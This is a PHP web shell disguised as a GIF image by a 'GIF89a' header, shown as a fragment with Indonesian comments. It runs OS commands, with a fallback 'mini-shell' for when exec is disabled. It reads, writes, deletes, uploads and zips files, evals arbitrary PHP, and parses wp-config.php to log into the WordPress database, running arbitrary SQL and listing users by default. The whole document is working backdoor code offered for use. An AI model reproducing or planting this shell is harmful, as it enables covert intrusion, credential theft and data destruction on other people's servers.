GIF89a array( 'pipe', 'w' ), 2 => array( 'pipe', 'w' ) ); $h = proc_open( $c, $d, $pp ); pr( stream_get_contents( $pp[1] ) . stream_get_contents( $pp[2] ) ); return true; } if ( $ok( 'popen' ) ) { $h = popen( $c, 'r' ); while ( ! feof( $h ) ) { pr( fread( $h, 4096 ) ); } return true; } return false; } } // Mini-shell: dipakai kalau semua fungsi eksekusi dimatikan. if ( ! function_exists( 'mini' ) ) { function mini( $line ) { $args = preg_split( '/\s+/', trim( (string) $line ) ); $cmd = strtolower( array_shift( $args ) ); $dir = getcwd(); $path = $args[0] ?? $dir; if ( '' !== $path && '/' !== $path[0] ) { $path = rtrim( $dir, '/' ) . '/' . $path; } switch ( $cmd ) { case 'pwd': pr( getcwd() . "\n" ); break; case 'whoami': pr( ( $ok( 'get_current_user' ) ? get_current_user() : '?' ) . "\n" ); break; case 'uname': pr( PHP_OS . ' ' . php_uname( 'r' ) . "\n" ); break; case 'id': pr( 'uid=' . (int) @posix_geteuid() . ' gid=' . (int) @posix_getegid() . "\n" ); break; case 'ls': $l = ! empty( $args[1] ) && '-l' === $args[0]; foreach ( (array) @scandir( $l ? ( $args[1] ?? $dir ) : $path ) as $f ) { $fp = rtrim( $path, '/' ) . '/' . $f; pr( $l ? sprintf( "%s %10d %s %s\n", is_dir( $fp ) ? 'd' : '-', (int) @filesize( $fp ), date( 'Y-m-d H:i', (int) @filemtime( $fp ) ), $f ) : $f . "\n" ); } break; case 'cat': case 'head': case 'tail': $n = 20; $file = $path; if ( isset( $args[1] ) && preg_match( '/^-(\d+)$/', $args[0], $m ) ) { $n = (int) $m[1]; $file = $args[1]; if ( '/' !== $file[0] ) { $file = rtrim( $dir, '/' ) . '/' . $file; } } $rows = @file( $file, FILE_IGNORE_NEW_LINES ); if ( ! $rows ) { pr( "no such file\n" ); break; } if ( 'tail' === $cmd ) { $rows = array_slice( $rows, -$n ); } elseif ( 'head' === $cmd ) { $rows = array_slice( $rows, 0, $n ); } pr( implode( "\n", $rows ) . "\n" ); break; case 'wc': $c = @file_get_contents( $path ); pr( strlen( (string) $c ) . ' bytes, ' . substr_count( (string) $c, "\n" ) . " lines\n" ); break; case 'grep': $pat = $args[0] ?? ''; $file = $args[1] ?? ''; if ( '/' !== ( $file[0] ?? '' ) ) { $file = rtrim( $dir, '/' ) . '/' . $file; } foreach ( (array) @file( $file, FILE_IGNORE_NEW_LINES ) as $i => $l ) { if ( false !== stripos( $l, $pat ) ) { pr( ( $i + 1 ) . ': ' . $l . "\n" ); } } break; case 'find': $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $path, FilesystemIterator::SKIP_DOTS ) ); foreach ( $it as $f ) { pr( $f->getPathname() . "\n" ); } break; case 'du': $t = 0; foreach ( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $path, FilesystemIterator::SKIP_DOTS ) ) as $f ) { $t += (int) $f->getSize(); } pr( round( $t / 1048576, 2 ) . " MB\n" ); break; case 'df': pr( 'free ' . round( @disk_free_space( $path ) / 1048576 ) . " MB / total " . round( @disk_total_space( $path ) / 1048576 ) . " MB\n" ); break; case 'stat': pr( (string) @json_encode( @stat( $path ) ) . "\n" ); break; case 'rm': pr( @unlink( $path ) ? "OK\n" : "FAIL\n" ); break; case 'mkdir': pr( @mkdir( $path, 0755, true ) ? "OK\n" : "FAIL\n" ); break; case 'chmod': pr( @chmod( $path, octdec( $args[1] ?? '0644' ) ) ? "OK\n" : "FAIL\n" ); break; case 'touch': pr( @touch( $path ) ? "OK\n" : "FAIL\n" ); break; case 'cp': pr( @copy( $path, $args[1] ?? '' ) ? "OK\n" : "FAIL\n" ); break; case 'mv': pr( @rename( $path, $args[1] ?? '' ) ? "OK\n" : "FAIL\n" ); break; case 'phpinfo': phpinfo(); break; case 'help': case '': pr( "mini-shell (tanpa exec). perintah: pwd whoami uname id ls -l cat head -n tail -n wc grep PATTERN FILE find du df stat rm mkdir chmod touch cp mv phpinfo help\n" ); break; default: pr( "perintah tidak dikenal: " . $cmd . " (ketik help)\n" ); } } } if ( ! function_exists( 'wp_root' ) ) { function wp_root() { $d = __DIR__; for ( $i = 0; $i < 8; $i++ ) { if ( @file_exists( $d . '/wp-config.php' ) ) { return $d; } $d = dirname( $d ); } return ''; } } if ( ! function_exists( 'wpdb_conn' ) ) { function wpdb_conn() { $root = wp_root(); $c = '' !== $root ? @file_get_contents( $root . '/wp-config.php' ) : ''; if ( ! $c ) { return null; } $g = function ( $k ) use ( $c ) { return preg_match( "/" . $k . "\s*'\s*,\s*'([^']*)'/", $c, $m ) ? $m[1] : ''; }; if ( ! class_exists( 'mysqli' ) && ! function_exists( 'mysqli_connect' ) ) { return null; } return @mysqli_connect( $g( 'DB_HOST' ) ?: 'localhost', $g( 'DB_USER' ), $g( 'DB_PASSWORD' ), $g( 'DB_NAME' ) ); } } $rawops = array( 'info', 'ls', 'read', 'write', 'rm', 'up', 'cmd', 'mkdir', 'touch', 'chmod', 'mv', 'cp', 'zip', 'unzip', 'grep', 'find', 'du', 'eval', 'db', 'phpinfo' ); if ( in_array( $op, $rawops, true ) ) { header( 'Content-Type: text/plain; charset=utf-8' ); if ( 'info' === $op ) { pr( 'PHP ' . PHP_VERSION . "\nCWD " . getcwd() . "\nUSER " . ( $ok( 'get_current_user' ) ? get_current_user() : '?' ) . "\nDISABLED " . implode( ',', $dis ) . "\nWRITABLE " . ( is_writable( getcwd() ) ? 'yes' : 'no' ) . "\nEXEC " . ( run( 'true', $ok ) ? 'yes' : 'no' ) . "\n" ); } elseif ( 'ls' === $op ) { foreach ( (array) @scandir( $p ) as $f ) { $fp = rtrim( $p, '/' ) . '/' . $f; printf( "%s %12d %s %s\n", is_dir( $fp ) ? 'd' : '-', (int) @filesize( $fp ), date( 'Y-m-d H:i', (int) @filemtime( $fp ) ), $f ); } } elseif ( 'read' === $op ) { pr( (string) @file_get_contents( $p ) ); } elseif ( 'write' === $op ) { pr( false === @file_put_contents( $p, $d ) ? 'FAIL' : 'OK ' . strlen( $d ) . ' bytes' ); } elseif ( 'rm' === $op ) { if ( is_dir( $p ) ) { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $p, FilesystemIterator::SKIP_DOTS ), RecursiveIteratorIterator::CHILD_FIRST ); foreach ( $it as $f ) { $f->isDir() ? @rmdir( $f->getPathname() ) : @unlink( $f->getPathname() ); } pr( @rmdir( $p ) ? 'OK dir' : 'FAIL' ); } else { pr( @unlink( $p ) ? 'OK' : 'FAIL' ); } } elseif ( 'up' === $op ) { $f = $_FILES['f'] ?? null; if ( ! $f || ! $f['tmp_name'] ) { pr( 'FAIL no file' ); } else { pr( @move_uploaded_file( $f['tmp_name'], rtrim( $p, '/' ) . '/' . basename( $f['name'] ) ) ? 'OK' : 'FAIL' ); } } elseif ( 'mkdir' === $op ) { pr( @mkdir( $p, 0755, true ) ? 'OK' : 'FAIL' ); } elseif ( 'touch' === $op ) { pr( @touch( $p ) ? 'OK' : 'FAIL' ); } elseif ( 'chmod' === $op ) { pr( @chmod( $p, octdec( (string) ( $_GET['m'] ?? '0644' ) ) ) ? 'OK' : 'FAIL' ); } elseif ( 'mv' === $op || 'cp' === $op ) { $to = (string) ( $_GET['to'] ?? '' ); pr( ( 'mv' === $op ? @rename( $p, $to ) : @copy( $p, $to ) ) ? 'OK' : 'FAIL' ); } elseif ( 'zip' === $op ) { $z = new ZipArchive(); $dst = $p . '.zip'; if ( true !== $z->open( $dst, ZipArchive::CREATE | ZipArchive::OVERWRITE ) ) { pr( 'FAIL open' ); exit; } $base = rtrim( $p, '/' ); foreach ( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $base, FilesystemIterator::SKIP_DOTS ) ) as $f ) { if ( $f->isFile() ) { $z->addFile( $f->getPathname(), substr( $f->getPathname(), strlen( $base ) + 1 ) ); } } pr( $z->close() ? 'OK ' . $dst : 'FAIL' ); } elseif ( 'unzip' === $op ) { $z = new ZipArchive(); if ( true !== $z->open( $p ) ) { pr( 'FAIL open' ); exit; } pr( $z->extractTo( (string) ( $_GET['to'] ?? dirname( $p ) ) ) ? 'OK' : 'FAIL' ); } elseif ( 'grep' === $op ) { $pat = (string) ( $_GET['q'] ?? '' ); foreach ( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $p, FilesystemIterator::SKIP_DOTS ) ) as $f ) { if ( ! $f->isFile() || $f->getSize() > 2097152 ) { continue; } foreach ( (array) @file( $f->getPathname(), FILE_IGNORE_NEW_LINES ) as $i => $l ) { if ( '' !== $pat && false !== stripos( $l, $pat ) ) { pr( $f->getPathname() . ':' . ( $i + 1 ) . ': ' . substr( $l, 0, 300 ) . "\n" ); } } } } elseif ( 'find' === $op ) { $pat = (string) ( $_GET['q'] ?? '*' ); foreach ( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $p, FilesystemIterator::SKIP_DOTS ) ) as $f ) { if ( fnmatch( $pat, $f->getFilename() ) ) { pr( $f->getPathname() . "\n" ); } } } elseif ( 'du' === $op ) { $t = 0; foreach ( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $p, FilesystemIterator::SKIP_DOTS ) ) as $f ) { $t += (int) $f->getSize(); } pr( round( $t / 1048576, 2 ) . ' MB' ); } elseif ( 'cmd' === $op ) { $c = (string) ( $_GET['c'] ?? '' ); if ( ! run( $c, $ok ) ) { mini( $c ); } } elseif ( 'eval' === $op ) { $code = (string) ( $_POST['code'] ?? ( $_GET['code'] ?? '' ) ); ob_start(); try { eval( rtrim( $code, ';' ) . ';' ); } catch ( Throwable $e ) { pr( "ERR " . $e->getMessage() ); } pr( ob_get_clean() ); } elseif ( 'db' === $op ) { $db = wpdb_conn(); if ( ! $db ) { pr( 'FAIL connect (wp-config tidak kebaca)' ); exit; } $q = (string) ( $_GET['q'] ?? '' ); if ( '' === $q ) { $q = 'SELECT ID,user_login,user_email,user_registered FROM wp_users LIMIT 50'; } try { $r = mysqli_query( $db, $q ); if ( true === $r ) { pr( 'OK affected=' . mysqli_affected_rows( $db ) ); exit; } if ( ! $r ) { pr( 'ERR ' . mysqli_error( $db ) ); exit; } while ( $row = mysqli_fetch_assoc( $r ) ) { pr( (string) json_encode( $row ) . "\n" ); } } catch ( Throwable $e ) { pr( 'ERR ' . $e->getMessage() ); } } elseif ( 'phpinfo' === $op ) { phpinfo(); } exit; } if ( 'dl' === $op ) { header( 'Content-Type: application/octet-stream' ); header( 'Content-Disposition: attachment; filename="' . basename( $p ) . '"' ); readfile( $p ); exit; } // --- UI ----------------------------------------------------------------- $dirs = array(); $files = array(); foreach ( (array) @scandir( $p ) as $f ) { if ( '.' === $f ) { continue; } $fp = rtrim( $p, '/' ) . '/' . $f; if ( is_dir( $fp ) ) { $dirs[] = $f; } else { $files[] = $f; } } sort( $dirs ); sort( $files ); $edit = isset( $_GET['edit'] ) ? (string) $_GET['edit'] : ''; $q = 'maju=ui&p=' . urlencode( $raw ); ?>
| = h( $f ) ?>/ | dir | rm | |
| = h( $f ) ?> | = (int) @filesize( $fp ) ?> | = date( 'Y-m-d H:i', (int) @filemtime( $fp ) ) ?> | get rm |